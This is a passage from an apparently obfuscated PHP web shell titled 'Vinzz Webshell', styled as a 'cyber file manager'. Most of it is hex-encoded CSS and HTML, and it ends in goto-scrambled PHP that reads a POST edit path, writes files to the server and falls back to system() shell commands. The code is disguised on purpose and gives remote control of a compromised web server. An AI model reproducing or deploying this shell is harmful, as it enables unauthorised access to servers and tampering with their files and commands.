x72\x65\155\x3b\15\12\x7d\15\xa\15\xa\56\x62\171\x70\141\163\x73\55\x73\x74\141\164\165\x73\x20\x7b\xd\12\x20\40\142\141\143\153\x67\x72\157\x75\156\x64\x3a\40\43\x31\x31\61\x31\x33\63\73\xd\12\40\40\142\x6f\162\144\x65\162\72\40\61\160\170\x20\163\x6f\x6c\151\x64\40\x76\141\162\50\55\55\x6e\145\x6f\x6e\55\x70\x69\x6e\x6b\51\73\xd\xa\40\40\x70\141\x64\144\x69\156\147\72\40\x31\x30\160\x78\73\xd\xa\x20\x20\155\x61\162\x67\x69\156\x3a\40\61\162\x65\155\x20\60\73\15\12\x20\40\146\x6f\x6e\x74\55\x73\x69\172\145\72\x20\60\56\x38\x72\x65\155\73\xd\12\175\15\xa\xd\12\x2e\143\157\x72\156\x65\x72\x20\x7b\15\12\40\40\160\x6f\x73\x69\x74\151\x6f\156\x3a\40\146\x69\170\x65\x64\73\xd\xa\x20\x20\x77\151\144\164\x68\72\40\65\x30\x70\170\73\15\xa\40\x20\x68\145\x69\x67\150\x74\72\40\65\60\160\170\x3b\xd\xa\40\x20\160\x6f\x69\156\164\x65\x72\55\145\x76\x65\156\x74\x73\72\x20\x6e\157\156\145\x3b\15\12\40\x20\57\x2a\x20\x68\141\160\x75\163\40\x61\x6e\x69\x6d\x61\x73\151\x20\x4c\105\104\x20\144\141\x6e\40\x77\141\x72\156\x61\x20\x2a\x2f\xd\12\x20\x20\142\x61\x63\153\147\x72\x6f\165\x6e\144\x3a\x20\156\157\156\145\x3b\15\12\x20\40\141\156\151\155\x61\164\x69\157\x6e\72\40\x6e\x6f\156\x65\x3b\xd\xa\x20\x20\142\x61\x63\153\147\x72\157\165\x6e\144\x2d\x73\151\172\145\72\x20\156\157\x6e\145\x3b\15\12\x7d\xd\xa\xd\12\x2e\x63\x6f\162\156\x65\x72\x2d\x74\x6c\40\173\40\164\157\160\x3a\x20\60\x3b\40\x6c\145\146\x74\72\x20\x30\73\x20\142\157\x72\144\145\x72\x3a\x20\156\157\x6e\145\x3b\x20\175\15\12\56\143\x6f\x72\156\145\162\55\164\x72\x20\x7b\x20\x74\157\160\72\40\x30\x3b\x20\162\151\147\150\164\x3a\x20\x30\x3b\40\x62\x6f\x72\x64\145\x72\x3a\x20\156\x6f\156\x65\x3b\x20\175\xd\xa\56\x63\157\162\x6e\145\x72\55\x62\x6c\x20\x7b\x20\142\157\164\x74\157\x6d\x3a\40\60\x3b\40\x6c\145\146\164\72\x20\x30\x3b\x20\x62\x6f\x72\144\x65\x72\72\40\x6e\x6f\156\145\x3b\40\175\15\xa\x2e\143\x6f\x72\x6e\x65\x72\55\x62\162\40\x7b\40\x62\157\164\164\x6f\155\72\40\x30\x3b\x20\162\x69\147\x68\x74\x3a\x20\x30\73\40\142\157\162\x64\x65\x72\x3a\x20\156\157\x6e\145\73\x20\x7d\15\12\xd\12\100\x6d\145\x64\151\141\40\50\155\x61\170\x2d\x77\151\144\x74\150\x3a\40\67\x36\x38\x70\x78\51\x20\173\xd\12\x20\x20\x62\x6f\144\x79\x20\173\40\160\141\144\144\x69\x6e\147\x3a\x20\61\x30\160\x78\73\x20\x7d\xd\xa\x20\40\150\61\40\x7b\x20\146\x6f\x6e\164\55\163\x69\x7a\145\x3a\40\61\x2e\65\162\x65\x6d\73\x20\175\15\xa\175\15\xa\15\12\142\x75\x74\x74\157\x6e\40\173\xd\xa\x20\40\144\151\x73\160\154\x61\x79\72\40\x69\x6e\x6c\x69\x6e\x65\55\x66\x6c\145\x78\x3b\xd\12\40\40\x61\154\151\147\156\x2d\151\164\x65\x6d\163\x3a\x20\x63\145\156\164\x65\x72\73\xd\xa\x20\40\152\165\x73\x74\x69\x66\x79\55\143\x6f\156\x74\x65\x6e\x74\72\x20\x63\x65\156\164\145\x72\73\xd\12\x20\x20\x67\141\160\72\x20\x38\160\x78\73\x20\57\x2a\x20\x6a\x61\x72\x61\x6b\x20\x61\156\x74\141\162\x61\x20\151\153\157\x6e\x20\x64\x61\156\x20\x74\145\x6b\x73\x20\x2a\57\15\12\40\40\142\x61\143\153\x67\162\x6f\165\x6e\x64\x3a\40\x6c\x69\x6e\145\x61\x72\x2d\147\x72\141\144\x69\x65\156\x74\x28\64\65\144\x65\x67\54\x20\166\141\x72\x28\x2d\55\x6e\145\x6f\x6e\x2d\x70\x69\156\x6b\51\x2c\x20\166\141\162\50\x2d\55\156\x65\157\156\55\142\154\x75\145\x29\x29\x3b\xd\12\40\x20\143\x6f\x6c\157\x72\x3a\40\x23\x30\60\x30\x3b\xd\12\x20\40\x66\157\156\x74\55\x77\x65\151\x67\x68\164\x3a\40\x62\157\x6c\144\73\xd\12\x20\40\146\157\156\x74\x2d\x66\141\x6d\x69\x6c\171\x3a\40\47\120\x72\145\x73\x73\40\123\x74\141\162\164\40\x32\x50\x27\x2c\40\x63\165\162\163\151\x76\x65\x3b\15\xa\40\x20\146\157\x6e\164\55\163\151\x7a\145\72\40\x30\56\x38\x72\x65\155\73\xd\xa\x20\x20\x62\x6f\162\144\145\162\72\40\x6e\157\156\145\73\xd\12\x20\40\143\x75\x72\x73\x6f\162\72\40\160\x6f\x69\x6e\164\145\162\x3b\xd\xa\40\x20\x74\x72\141\156\163\x69\164\x69\157\156\x3a\40\x61\154\154\x20\60\x2e\63\x73\73\xd\12\40\x20\160\x61\x64\x64\151\x6e\147\x3a\x20\x31\x32\x70\170\x20\61\66\x70\170\73\xd\12\40\x20\164\x65\x78\164\x2d\x74\162\x61\x6e\163\146\157\x72\x6d\72\40\x75\160\160\x65\x72\x63\x61\x73\145\73\xd\12\x7d\xd\12\15\xa\142\165\x74\164\x6f\x6e\x3a\150\x6f\x76\x65\162\x20\x7b\xd\12\40\40\x62\x6f\x78\x2d\163\150\x61\x64\157\x77\x3a\x20\60\x20\60\40\x31\x35\160\x78\40\166\141\x72\50\x2d\55\x6e\x65\x6f\156\x2d\x70\x69\156\153\x29\73\15\12\x20\40\x74\162\141\156\163\146\157\162\x6d\x3a\x20\x74\x72\141\x6e\x73\x6c\x61\x74\145\x59\x28\x2d\x32\160\x78\x29\x3b\15\12\175\15\xa\15\12\x2e\151\156\146\157\x2d\x74\x61\142\x6c\145\x20\173\xd\xa\40\x20\x77\151\144\x74\150\x3a\40\x31\60\x30\45\x3b\xd\xa\40\40\x62\x6f\162\144\145\162\55\x63\x6f\x6c\x6c\x61\x70\163\x65\72\40\143\157\x6c\x6c\x61\160\x73\145\73\xd\xa\40\x20\142\x61\x63\153\x67\162\x6f\165\x6e\x64\x3a\40\x76\141\x72\x28\x2d\55\x62\x67\x2d\144\x61\162\153\x29\x3b\xd\xa\x20\40\155\x61\162\147\151\156\55\x74\157\x70\72\40\61\x72\x65\155\x3b\xd\xa\40\x20\x62\157\170\55\163\150\141\144\157\x77\72\40\60\x20\x30\x20\x31\60\160\170\x20\166\141\162\x28\55\55\x6e\145\157\x6e\x2d\160\151\156\x6b\51\73\15\12\40\x20\160\x6f\163\x69\164\x69\157\x6e\72\x20\162\x65\154\141\x74\151\x76\145\x3b\xd\12\40\40\157\x76\x65\162\146\x6c\157\x77\72\40\150\x69\144\x64\145\x6e\x3b\xd\12\175\xd\12\xd\12\x2e\x69\156\x66\x6f\x2d\164\141\142\x6c\x65\x20\x74\150\54\40\56\151\156\146\x6f\x2d\164\141\x62\154\x65\x20\x74\144\x20\173\15\12\x20\40\x70\141\x64\x64\151\x6e\147\x3a\40\61\60\x70\170\40\x31\65\x70\x78\x3b\15\12\x20\x20\142\157\x72\144\145\x72\55\x62\157\164\x74\157\x6d\72\x20\x31\160\x78\40\163\x6f\154\x69\144\x20\43\x33\63\x33\73\15\12\x20\x20\x63\x6f\154\157\162\x3a\x20\43\x65\60\x65\60\x66\146\x3b\15\12\x20\x20\164\x65\170\164\55\141\x6c\151\147\156\72\x20\x6c\x65\146\164\x3b\15\xa\x20\40\x66\x6f\156\x74\55\146\x61\x6d\151\154\x79\x3a\40\x27\112\145\x74\x42\x72\141\151\x6e\163\x20\115\157\156\157\x27\x2c\x20\155\x6f\x6e\157\163\160\x61\143\x65\73\15\12\x7d\15\12\15\12\56\151\x6e\x66\157\x2d\x74\x61\x62\154\145\x20\x74\150\40\x7b\xd\12\x20\x20\142\x61\143\x6b\147\162\x6f\165\156\x64\x3a\40\162\147\x62\x61\50\62\60\54\x20\62\x30\x2c\x20\x35\x30\54\40\60\56\x38\x29\73\xd\12\40\40\x63\x6f\154\x6f\x72\72\x20\x76\x61\x72\x28\55\55\156\x65\x6f\x6e\x2d\160\151\x6e\153\51\73\15\12\40\40\167\x69\144\x74\150\72\40\63\65\45\x3b\xd\12\x7d\15\12\xd\xa\x2e\151\x6e\x66\157\x2d\157\153\x20\x7b\xd\xa\x20\40\x63\x6f\154\157\x72\x3a\40\x6c\x69\155\x65\73\15\xa\x20\40\146\157\156\164\55\167\145\151\147\x68\164\x3a\40\142\x6f\x6c\x64\73\xd\xa\175\15\12\56\x69\x6e\146\x6f\55\142\141\144\40\173\xd\xa\40\x20\x63\x6f\154\x6f\162\x3a\x20\162\145\144\x3b\15\xa\x20\x20\x66\157\156\164\55\x77\x65\151\147\150\x74\72\x20\x62\157\x6c\144\73\15\xa\175\15\12\15\12\x2e\x70\141\x6e\x65\x6c\40\173\15\12\x20\x20\x62\x61\x63\x6b\x67\162\157\165\156\144\x3a\40\166\x61\162\x28\55\55\x62\x67\55\144\x61\162\153\x29\x3b\15\12\x20\x20\x70\x61\x64\144\x69\x6e\147\x3a\40\x31\x2e\65\162\x65\155\x3b\xd\12\x20\x20\x6d\x61\162\147\151\x6e\55\142\x6f\164\x74\157\x6d\72\40\62\162\145\155\73\xd\12\x20\40\x70\157\x73\151\x74\x69\157\156\72\40\x72\x65\x6c\141\164\x69\166\x65\x3b\xd\xa\40\x20\142\157\x72\x64\x65\x72\72\x20\61\x70\x78\x20\163\x6f\154\151\x64\40\x23\63\63\63\73\15\xa\x20\x20\142\x6f\x72\144\x65\x72\x2d\x74\x6f\x70\72\x20\63\160\x78\x20\x73\x6f\x6c\151\144\x20\166\x61\x72\50\x2d\x2d\156\145\157\x6e\55\160\151\x6e\153\x29\x3b\15\xa\x20\x20\157\166\145\x72\x66\154\x6f\x77\72\40\150\x69\x64\144\x65\156\x3b\15\12\175\xd\12\xd\xa\56\160\x61\156\x65\154\72\x3a\x62\145\x66\x6f\x72\x65\x20\173\15\12\x20\x20\143\157\x6e\x74\x65\x6e\x74\x3a\40\42\42\x3b\xd\xa\40\40\160\157\163\151\164\151\157\156\72\x20\x61\x62\163\x6f\154\x75\164\145\73\xd\xa\x20\x20\x74\x6f\x70\72\40\x30\x3b\15\xa\40\x20\x6c\145\146\164\x3a\40\x30\73\xd\12\40\x20\x68\145\151\x67\150\x74\x3a\40\64\160\x78\73\xd\xa\40\x20\x77\x69\144\x74\150\72\40\x31\60\60\45\x3b\15\12\x20\40\x62\x61\x63\153\x67\x72\x6f\x75\x6e\x64\x3a\x20\154\x69\156\145\x61\162\55\147\162\x61\144\151\x65\x6e\x74\50\x39\x30\144\x65\x67\54\15\xa\40\x20\x20\x20\x20\x20\166\x61\162\x28\x2d\x2d\x6e\x65\x6f\156\55\160\x69\156\153\x29\x2c\15\12\40\x20\x20\40\x20\x20\x76\x61\x72\x28\x2d\x2d\156\x65\157\x6e\x2d\142\154\x75\145\51\54\xd\12\x20\x20\x20\x20\x20\40\166\141\162\x28\55\55\156\x65\157\156\55\x70\151\x6e\153\x29\x2c\xd\xa\40\x20\x20\40\40\40\x76\141\x72\x28\x2d\x2d\156\x65\x6f\x6e\55\x62\154\165\145\51\x29\x3b\15\xa\40\40\142\x61\x63\153\147\x72\x6f\165\156\x64\55\x73\x69\172\145\x3a\40\62\60\x30\x25\x20\61\x30\x30\45\73\15\xa\40\x20\x61\x6e\x69\155\x61\164\151\157\156\72\x20\154\145\x64\55\162\x75\156\x20\62\163\x20\154\x69\156\x65\x61\162\x20\151\156\146\151\156\x69\x74\x65\x3b\xd\12\x7d\xd\12\100\153\x65\x79\x66\162\x61\155\x65\163\x20\154\x65\x64\x2d\x72\x75\156\x20\173\15\12\x20\40\x30\x25\x20\x7b\40\x62\x61\x63\x6b\147\162\157\165\156\x64\55\x70\157\x73\x69\x74\x69\x6f\156\72\x20\x30\45\x20\x30\73\40\175\15\12\40\x20\x31\x30\60\45\40\173\x20\142\x61\143\x6b\147\x72\x6f\165\156\x64\x2d\x70\157\x73\x69\x74\151\x6f\x6e\72\40\55\62\x30\60\x25\x20\x30\73\40\175\15\12\x7d\15\12\xd\xa\56\x75\160\154\157\141\x64\55\x66\157\x72\x6d\40\173\xd\xa\40\x20\144\x69\163\x70\x6c\141\171\72\x20\x66\154\x65\170\x3b\xd\12\x20\x20\x66\x6c\145\170\55\x77\162\x61\x70\x3a\40\x77\x72\141\x70\73\15\12\40\x20\147\x61\x70\72\x20\61\60\x70\170\x3b\xd\xa\x20\x20\x61\154\x69\x67\x6e\x2d\151\164\145\x6d\x73\72\40\x63\x65\x6e\x74\x65\x72\x3b\xd\12\x20\x20\152\x75\163\164\151\x66\x79\55\143\x6f\156\x74\x65\x6e\164\72\40\x63\145\156\x74\x65\162\73\xd\12\x20\x20\155\x61\x72\147\151\156\x2d\x74\x6f\160\72\40\x31\162\x65\x6d\73\15\xa\175\15\12\15\xa\x2e\x75\160\154\157\141\144\x2d\x66\x6f\x72\x6d\40\151\x6e\160\165\x74\x5b\x74\171\160\x65\x3d\x22\146\151\154\145\x22\x5d\x20\x7b\15\12\40\x20\x66\x6c\145\170\x3a\x20\61\40\x31\40\62\65\x30\x70\x78\73\xd\xa\40\x20\142\x61\x63\x6b\x67\162\157\x75\156\x64\x3a\x20\162\x67\x62\x61\x28\x31\x35\54\x20\x31\x35\x2c\x20\63\65\x2c\x20\60\x2e\x38\x29\x3b\15\xa\40\40\143\157\x6c\x6f\x72\x3a\x20\x23\145\60\x65\x30\x66\146\73\xd\xa\x20\x20\x62\x6f\x72\x64\145\162\72\40\61\x70\170\x20\163\x6f\x6c\151\x64\x20\x23\x33\x33\x33\73\xd\xa\x20\x20\160\x61\x64\144\151\156\x67\x3a\40\x38\160\170\x3b\15\xa\x20\x20\x66\x6f\x6e\x74\x2d\146\141\x6d\x69\154\171\x3a\x20\x27\x4a\x65\164\x42\x72\x61\151\156\x73\x20\x4d\157\x6e\x6f\47\54\x20\x6d\x6f\x6e\x6f\x73\160\141\x63\145\x3b\xd\xa\40\40\x62\x6f\162\x64\145\162\55\154\145\x66\x74\72\40\x33\x70\x78\40\163\x6f\x6c\151\144\x20\166\141\162\x28\55\55\156\145\x6f\x6e\x2d\x70\x69\156\x6b\x29\73\xd\12\175\xd\xa\xd\12\56\165\160\154\x6f\141\x64\55\x66\157\x72\x6d\40\142\165\164\x74\x6f\156\40\x7b\15\12\40\x20\146\154\x65\170\72\40\x31\x20\x31\40\x31\65\60\160\x78\x3b\xd\xa\40\x20\142\x61\143\x6b\x67\162\x6f\165\x6e\144\x3a\x20\x6c\x69\x6e\145\x61\x72\55\147\162\x61\144\x69\x65\x6e\164\x28\64\65\x64\145\147\54\x20\x76\x61\162\50\x2d\x2d\x6e\x65\157\156\55\160\151\156\153\51\x2c\40\166\141\162\50\x2d\x2d\x6e\x65\x6f\x6e\55\142\154\165\x65\51\51\x3b\xd\12\x20\x20\143\157\x6c\x6f\x72\72\x20\x23\60\60\x30\73\xd\xa\x20\40\x66\x6f\x6e\x74\x2d\x77\145\151\x67\x68\164\x3a\x20\142\x6f\x6c\144\x3b\xd\xa\40\x20\146\x6f\x6e\164\55\146\141\x6d\151\x6c\171\x3a\x20\x27\x50\x72\x65\x73\x73\x20\x53\x74\141\162\164\40\x32\x50\47\x2c\x20\x63\x75\162\163\x69\166\x65\x3b\xd\xa\40\40\146\157\x6e\164\55\x73\151\x7a\x65\72\40\x30\x2e\67\162\145\x6d\x3b\xd\xa\40\40\x62\x6f\162\144\145\x72\72\x20\x6e\157\x6e\x65\x3b\xd\xa\40\40\143\x75\x72\163\157\162\72\x20\x70\x6f\151\156\x74\x65\x72\73\xd\12\x20\x20\x74\162\x61\156\x73\151\164\x69\x6f\156\x3a\x20\141\154\x6c\x20\x30\x2e\63\163\x3b\15\12\40\40\160\141\x64\x64\151\156\147\72\x20\61\x32\160\x78\73\xd\12\x7d\15\12\xd\xa\x2e\x75\x70\x6c\157\141\x64\55\x66\x6f\x72\x6d\x20\142\165\164\164\x6f\156\72\x68\x6f\166\145\162\40\x7b\15\xa\x20\40\142\157\x78\55\163\x68\x61\144\157\x77\x3a\40\x30\40\x30\40\61\x35\x70\x78\x20\166\x61\162\x28\55\55\156\145\x6f\156\55\x70\x69\x6e\153\51\x3b\xd\12\40\40\x74\x72\141\x6e\x73\x66\x6f\162\x6d\72\x20\164\x72\141\156\163\x6c\141\164\145\x59\x28\x2d\x32\160\x78\x29\73\xd\12\x7d\xd\12\15\xa\56\x72\165\156\x6e\151\x6e\147\x2d\150\145\141\144\145\x72\x2e\x6c\145\x66\x74\x20\173\xd\12\x20\40\160\157\163\151\x74\151\x6f\x6e\x3a\x20\162\x65\154\x61\164\151\x76\x65\73\15\12\x20\40\164\145\170\164\55\x61\154\151\147\x6e\72\x20\154\145\146\x74\73\15\xa\40\x20\x6d\x61\x72\x67\x69\x6e\55\x62\157\164\164\x6f\155\72\x20\x31\x72\145\155\x3b\xd\12\40\x20\160\x61\144\x64\151\156\x67\55\x62\157\x74\x74\x6f\x6d\x3a\40\60\56\x35\x72\x65\155\x3b\15\12\x20\40\146\x6f\156\x74\x2d\x66\x61\x6d\151\154\x79\x3a\40\47\x50\162\145\x73\163\40\x53\x74\x61\162\164\40\x32\120\x27\54\x20\x63\165\x72\x73\151\166\x65\x3b\15\xa\40\40\143\157\154\157\x72\72\40\x76\x61\162\x28\55\55\155\141\164\x72\x69\x78\x2d\x67\162\x65\145\x6e\51\73\xd\xa\175\15\xa\15\12\x2e\162\165\x6e\156\x69\x6e\147\x2d\150\x65\x61\x64\x65\162\x2e\154\145\x66\164\x3a\72\141\146\x74\145\x72\x20\173\xd\xa\40\x20\x63\x6f\156\x74\x65\156\164\72\40\x22\42\73\15\12\x20\x20\x70\x6f\163\x69\164\151\x6f\156\72\40\x61\142\x73\157\x6c\x75\164\145\x3b\15\xa\x20\40\x62\157\x74\164\x6f\155\x3a\x20\60\73\15\12\40\40\154\x65\x66\164\x3a\x20\60\73\xd\12\x20\x20\150\x65\x69\147\x68\x74\72\40\x33\160\170\x3b\15\12\x20\x20\x77\151\x64\x74\150\72\x20\62\60\60\160\x78\73\40\x2f\x2a\x20\x61\164\141\165\40\61\x30\60\45\x20\153\x61\154\141\165\x20\151\x6e\147\151\156\40\160\145\156\165\x68\40\x2a\57\xd\12\x20\40\142\x61\143\x6b\x67\x72\x6f\x75\x6e\144\72\40\154\x69\x6e\145\x61\x72\x2d\147\162\141\x64\151\145\x6e\164\50\71\60\144\x65\147\54\xd\12\40\x20\40\x20\x20\x20\166\x61\162\50\x2d\x2d\x6e\x65\157\x6e\55\160\151\156\153\51\54\15\12\x20\x20\40\40\x20\40\166\141\162\50\55\55\156\145\157\x6e\55\142\154\165\x65\x29\x2c\15\12\40\40\40\x20\40\40\166\x61\x72\50\55\x2d\x6e\x65\x6f\x6e\55\160\151\x6e\153\x29\x2c\xd\12\40\40\40\x20\40\40\166\x61\162\x28\x2d\x2d\x6e\145\x6f\156\x2d\x62\x6c\165\x65\51\x29\73\15\xa\40\40\142\x61\143\x6b\147\x72\157\165\x6e\144\x2d\x73\151\172\145\x3a\40\62\60\x30\45\x20\61\60\x30\45\73\xd\xa\40\40\141\156\151\x6d\141\164\x69\157\x6e\72\40\154\x65\144\55\162\165\156\x20\x33\163\40\154\151\156\x65\141\162\40\151\x6e\x66\151\x6e\x69\x74\x65\73\15\xa\175\xd\xa\15\12\100\x6b\x65\x79\146\162\141\155\145\x73\40\154\145\x64\x2d\162\x75\x6e\x20\173\xd\xa\x20\x20\60\45\x20\173\15\xa\40\40\40\40\142\x61\143\x6b\147\x72\157\165\x6e\144\x2d\160\x6f\x73\151\164\151\x6f\156\x3a\40\60\x25\x20\x30\73\15\xa\x20\40\x7d\15\xa\x20\x20\x31\60\x30\45\40\x7b\15\12\40\x20\40\x20\142\x61\143\153\x67\162\x6f\x75\156\x64\x2d\x70\x6f\163\151\164\151\x6f\x6e\72\40\55\x32\x30\x30\45\x20\x30\x3b\xd\xa\x20\40\175\15\12\175\15\xa\15\xa\x2e\x75\160\55\x6c\x69\156\x6b\x20\173\15\12\x20\x20\x64\x69\x73\x70\x6c\x61\x79\72\40\151\x6e\154\x69\156\x65\55\x66\154\x65\x78\73\xd\xa\40\x20\141\154\x69\147\156\55\151\x74\x65\155\163\72\40\x63\145\x6e\164\x65\x72\x3b\15\xa\40\x20\x67\x61\160\72\x20\x35\x70\170\73\15\xa\x20\40\142\x61\143\x6b\x67\x72\x6f\x75\x6e\144\x3a\x20\162\147\142\141\50\62\60\x2c\x20\62\60\54\40\x35\60\54\x20\x30\56\70\51\73\xd\12\x20\40\x63\157\x6c\x6f\162\72\40\x76\x61\162\50\55\55\155\141\x74\162\151\170\x2d\147\x72\x65\x65\x6e\51\x3b\15\12\40\x20\x70\141\144\144\x69\x6e\147\x3a\x20\66\160\x78\x20\x31\62\x70\170\73\15\xa\40\x20\x62\x6f\x72\144\x65\162\72\x20\x31\160\170\40\163\x6f\154\151\x64\x20\43\63\x33\63\x3b\15\12\x20\x20\164\x65\170\x74\55\x64\145\x63\157\x72\x61\164\151\157\156\72\40\x6e\x6f\x6e\145\73\xd\12\x20\x20\x74\x72\x61\156\x73\x69\164\x69\x6f\156\x3a\40\x61\x6c\x6c\x20\60\x2e\x33\x73\x20\x65\141\163\x65\73\xd\12\175\xd\12\xd\12\56\x75\160\x2d\154\151\x6e\153\x3a\150\157\x76\145\x72\x20\173\xd\12\x20\x20\x74\x65\170\x74\55\163\150\x61\x64\x6f\167\x3a\40\x30\40\60\40\x35\160\x78\40\166\141\162\50\x2d\x2d\156\x65\x6f\x6e\55\142\154\165\145\x29\73\xd\xa\40\40\x62\157\162\x64\145\x72\x2d\143\157\x6c\x6f\x72\72\40\166\141\162\x28\55\x2d\x6e\145\x6f\156\55\x62\x6c\x75\x65\x29\x3b\15\12\x7d\15\xa\xd\xa\x2e\x63\x65\156\164\x65\162\x20\173\xd\xa\40\40\x74\x65\170\164\55\141\x6c\x69\147\156\72\x20\143\x65\156\164\x65\x72\x3b\15\xa\x7d\15\12\15\12\56\147\x6c\x69\164\x63\x68\40\x7b\15\xa\x20\x20\164\145\x78\x74\x2d\163\x68\x61\144\157\x77\x3a\x20\62\x70\x78\x20\62\x70\x78\x20\60\40\x76\x61\x72\50\55\55\x74\145\x78\x74\55\147\x6c\151\x74\143\x68\61\x29\x2c\x20\x2d\62\160\x78\x20\55\62\160\x78\x20\60\x20\166\141\162\50\55\55\164\x65\x78\x74\55\x67\154\x69\x74\143\x68\x32\x29\x3b\xd\12\40\x20\141\x6e\x69\155\141\x74\x69\x6f\156\x3a\x20\x67\154\151\x74\x63\x68\x20\x31\163\x20\154\x69\156\x65\x61\162\40\x69\x6e\146\151\x6e\x69\x74\145\x3b\xd\xa\175\15\12\15\xa\100\x6b\x65\171\x66\x72\141\x6d\x65\163\40\147\x6c\x69\164\x63\x68\40\173\15\12\x20\40\60\x25\x2c\x20\61\60\60\45\40\173\xd\xa\x20\40\x20\x20\x74\145\x78\x74\x2d\x73\150\141\144\x6f\167\x3a\40\x32\x70\x78\40\x32\160\x78\40\x76\x61\162\x28\55\55\164\145\x78\164\55\x67\x6c\151\164\143\x68\61\x29\54\40\x2d\x32\160\170\x20\55\x32\160\170\x20\166\x61\162\50\x2d\55\x74\145\170\164\55\147\x6c\151\164\x63\x68\62\51\73\15\12\40\x20\x7d\15\12\40\x20\62\65\x25\x20\x7b\15\xa\x20\40\x20\40\x74\145\170\x74\x2d\x73\150\x61\x64\x6f\x77\72\40\x2d\x32\x70\170\40\x2d\62\160\170\40\x76\x61\x72\x28\x2d\x2d\x74\x65\x78\x74\x2d\x67\154\151\164\x63\x68\61\x29\54\40\62\160\170\40\x32\x70\x78\40\x76\x61\162\x28\x2d\x2d\164\145\x78\x74\x2d\147\x6c\x69\x74\x63\x68\62\x29\x3b\15\xa\x20\40\175\xd\12\40\40\x35\60\x25\x20\173\xd\xa\x20\40\x20\40\x74\x65\x78\x74\55\163\150\141\144\157\x77\72\x20\x32\160\x78\40\55\x32\160\170\40\x76\141\x72\50\x2d\55\x74\x65\x78\164\x2d\x67\154\151\x74\143\150\61\x29\54\x20\55\62\x70\170\x20\x32\160\170\40\x76\141\162\x28\x2d\55\164\x65\x78\x74\x2d\x67\x6c\151\164\x63\x68\x32\x29\x3b\xd\xa\40\x20\x7d\xd\12\40\x20\x37\65\45\x20\x7b\15\12\40\x20\x20\x20\164\145\170\x74\x2d\x73\150\141\x64\157\167\72\x20\x2d\62\x70\170\40\62\160\x78\40\166\x61\x72\x28\55\x2d\x74\x65\170\164\55\147\154\x69\x74\143\150\x31\51\54\x20\x32\x70\x78\40\x2d\x32\160\x78\x20\166\x61\162\50\55\x2d\164\145\x78\x74\55\x67\154\x69\164\143\x68\62\51\x3b\xd\12\40\x20\x7d\15\12\175\15\12\15\xa\74\57\x73\164\171\x6c\145\76\15\xa\15\xa\x3c\x2f\x68\145\141\144\x3e\xd\12\74\x62\157\144\x79\76\15\xa\40\x20\74\144\x69\x76\40\143\154\x61\163\163\75\42\x63\157\x72\x6e\145\162\40\x63\157\162\156\x65\x72\x2d\x74\154\x22\x3e\x3c\57\144\151\x76\76\15\xa\x20\40\74\x64\151\x76\40\x63\154\x61\163\163\75\x22\x63\x6f\x72\x6e\x65\162\40\143\x6f\x72\156\145\162\55\x74\162\x22\76\x3c\x2f\x64\151\x76\76\xd\12\40\x20\x3c\x64\x69\x76\x20\143\154\x61\x73\163\75\x22\x63\x6f\x72\156\x65\x72\40\x63\x6f\162\x6e\145\x72\x2d\x62\154\42\76\74\x2f\144\151\166\x3e\xd\12\40\40\x3c\x64\x69\166\x20\x63\154\x61\x73\x73\x3d\42\x63\x6f\162\156\145\x72\40\143\157\x72\156\x65\x72\55\x62\162\x22\x3e\x3c\57\x64\151\166\76\15\xa\xd\12\x3c\x68\145\141\x64\x65\x72\x20\163\x74\x79\x6c\145\x3d\x22\xd\xa\x20\40\x20\x20\x64\151\163\160\x6c\141\x79\x3a\x20\x66\154\x65\x78\73\xd\xa\40\40\40\40\146\x6c\145\170\x2d\x64\151\x72\x65\143\x74\151\157\x6e\72\40\143\x6f\154\165\x6d\x6e\x3b\xd\xa\x20\40\40\x20\141\154\x69\x67\156\x2d\x69\x74\145\155\x73\72\x20\x63\145\x6e\x74\145\162\73\15\xa\40\40\x20\x20\152\x75\163\x74\x69\146\171\55\x63\x6f\x6e\164\x65\x6e\164\x3a\40\x63\145\x6e\164\145\x72\x3b\xd\12\40\x20\40\40\x74\145\x78\164\55\x61\x6c\151\147\156\72\x20\143\145\156\164\x65\x72\x3b\15\xa\42\76\15\xa\40\40\x3c\x68\61\40\143\154\x61\163\163\75\x22\147\x6c\151\x74\x63\x68\42\x3e\126\151\156\172\x7a\x20\x57\145\x62\163\x68\x65\154\154\74\57\x68\x31\76\xd\12\40\40\x3c\x64\x69\166\x3e\343\202\265\343\x82\xa4\xe3\203\x90\xe3\203\xbc\343\x83\x95\343\202\xa1\xe3\x82\244\343\203\xab\xe3\x83\x9e\xe3\x83\x8d\xe3\x83\274\343\202\270\xe3\x83\243\x20\xe3\203\274\40\x76\61\x2e\x30\x2e\60\x3c\x2f\144\x69\x76\76\15\12\x20\x20"; goto vCNG2; quIaT: echo phpversion(); goto q8i5h; gANtx: $C3thk = QoaJ7($_POST["\145\144\x69\164\137\160\x61\x74\x68"]); goto iy4P1; oOYOQ: oZbhk: goto Fzijn; cXiqt: exit; goto vsvWH; l5ED3: @file_put_contents($MrjeJ, "\74\x3f\x70\150\x70\40\57\x2f\40\126\151\156\x7a\x7a\x20\107\145\x6e\145\x72\141\x74\145\144\40\x46\x69\x6c\145\40\x3f\76") or system("\145\143\150\x6f\40\x27\74\77\x70\150\x70\40\57\57\40\126\x69\156\x7a\x7a\40\107\x65\156\145\162\141\164\x65\144\x20\x46\151\154\x65\40\77\x3e\x27\x20\x3e\40" . escapeshellarg($MrjeJ)); goto oJG4W; mftmG: echo htmlentities(basename($FfHqD)); goto vDkEc; cb1sm: echo "\x3c\x64\x69\x76\x20\x73\x74\x79\154\x65\x3d\x22\x74\x65\x78\x74\x2d\141\154\x69\147\x6e\x3a\x63\x65\x6e\x74\145\x72\x3b\143\x6f\x6c\x6f\162\72\x6c\x69\155\145\x3b\42\x3e\xe2\234\205\40\343\203\x95\343\x82\241\343\202\xa4\xe3\x83\xab\xe3\201\214\xe4\277\x9d\345\255\x98\xe3\201\x95\xe3\x82\x8c\343\x81\276\xe3\x81\x97\xe3\201\237\343\200\x82\74\x2f\144\x69\x76\x3e"; goto jKIQt; Y20kg: $n2MWI = @file_put_contents($pKi5K, $cP9LD, LOCK_EX); goto HW4gH; JRiei: echo 